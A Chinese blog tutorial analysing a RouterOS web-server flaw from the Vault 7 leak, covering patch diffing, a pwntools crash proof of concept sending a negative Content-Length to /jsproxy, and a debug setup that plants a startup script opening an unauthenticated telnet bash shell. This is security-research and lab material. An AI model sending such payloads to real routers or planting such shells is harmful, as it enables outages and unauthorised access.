zoukankan      html  css  js  c++  java
  • 一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

    前言


    本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


    本文分析 Vault 7 中泄露的 RouterOs 漏洞。漏洞影响 6.38.5 以下的版本。

    What's new in 6.38.5 (2017-Mar-09 11:32):
    !) www - fixed http server vulnerability;
    

    文中涉及的文件:

    链接: https://pan.baidu.com/s/1i5oznSh 密码: 9r43

    正文

    补丁对比&&漏洞分析

    首先我们先来看看漏洞的原理,漏洞位于 www 文件。

    我们需要拿到 www 文件, 直接用 binwalk 提取出 router os 镜像文件的所有内容。

    binwalk -Me mikrotik-6.38.4.iso
    

    然后在提取出的文件中搜索即可。

    同样的方法提取出 mikrotik-6.38.5.iso 中的 www 文件。

    然后使用 diaphora 插件 对 这两个文件进行补丁比对 (因为 6.38.5 正好修复了漏洞)

    首先打开 www_6384 (6.38.4版本的文件), 然后使用 diaphora 导出 sqlite 数据库, diaphora 使用这个数据库文件进行 diff 操作。

    然后打开 www_6385 (6.38.5版本的文件),使用 diaphora 进行 diff

    找到相似度比较低的函数

    选中要查看差异的 条目 ,然后右键

    可以选择查看 diff 的选项,使用 diff pseudo-code 就可以对 伪c 代码 diff

    对比 diff 可以发现, 修复漏洞后的程序 没有了 alloca, 而是直接使用 string::string 构造了 字符串。

    下面直接分析 www_6384 .

    获取 content-length 的值之后,就传给了 alloca 分配内存。

    这里和前文不同的是,这里 alloca的参数是 无符号数。

    所以我们能修改的是栈顶以上的数据,触发崩溃的poc.

    poc

    from pwn import *
    def makeHeader(num):
        return "POST /jsproxy HTTP/1.1
    Content-Length: " + str(num) + "
    
    "
    s1 = remote("192.168.2.124", 80)
    s1.send(makeHeader(-1) + "A" * 1000)
    

    注:ip 按实际情况设置

    调试环境搭建&&Poc测试

    首先我们得先安装 routeros, 使用 vmware 加载 iso

    注: routeros 是 32 位的, 硬盘类型要为 ide 否则会找不到驱动。

    然后开启虚拟机,就会进入

    a选择所有 ,然后按 i 进行安装,然后一直输入 y 确定即可。


    安装完成后,重启,就会进入 登录界面了,使用 admin 和空密码登录即可。

    然后输入 setup ,接着输入 a, 按照提示配置好 ip 地址。

    然后就可以使用 ssh 登录了。

    Router Os linux 做了大量的裁剪,所以我们需要给系统增加一些文件方便进行调试,busyboxgdbserver (文件在百度云内)。

    要增加文件需要使用一个 live-cd 版的 linux 挂载 router os 的磁盘分区,增加文件。这里使用了 ubuntu.

    关闭虚拟机,设置光盘镜像,然后修改引导为 光盘即可进入 live-cd

    选择 try ubuntu, 进入系统后,挂载 /dev/sda1/dev/sda2

    busyboxgdbserver 放到 bin 目录(不是在/dev/sda1 就是在 /dev/sda2 )下,然后在 etc 目录下新建 rc.d/run.d/S99own , 内容为

    #!/bin/bash
    mkdir /ram/mybin
    /flash/bin/busybox-i686 --install -s /ram/mybin
    export PATH=/ram/mybin:$PATH
    telnetd -p 23000 -l bash
    

    umount 然后去掉光盘, 重新启动,应该就可以 telnet 192.168.2.124 23000 连接了。

    此时使用

    gdbserver.i686 192.168.2.124:5050 --attach $(pidof www)

    如图

    然后 gdb 连上去。

    target remote 192.168.2.124:5050
    

    运行poc,程序崩溃。

    参考:

    https://github.com/BigNerd95/Chimay-Red/

  • 相关阅读:
    【jquery ,ajax,php】加载更多实例
    关于scrollTop
    jquery 底部导航透明度变化
    jquery 处理密码输入框(input type="password" ) 模仿placeholder
    物化视图基于rowID快速刷新
    ora-01653 无法通过1024扩展
    oracle临时表空间
    java.lang.ClassCastException: java.math.BigDecimal cannot be cast to java.lang.Integer
    redis 简单使用
    BigDecimal 运算
  • 原文地址:https://www.cnblogs.com/hac425/p/9416837.html
Copyright © 2011-2022 走看看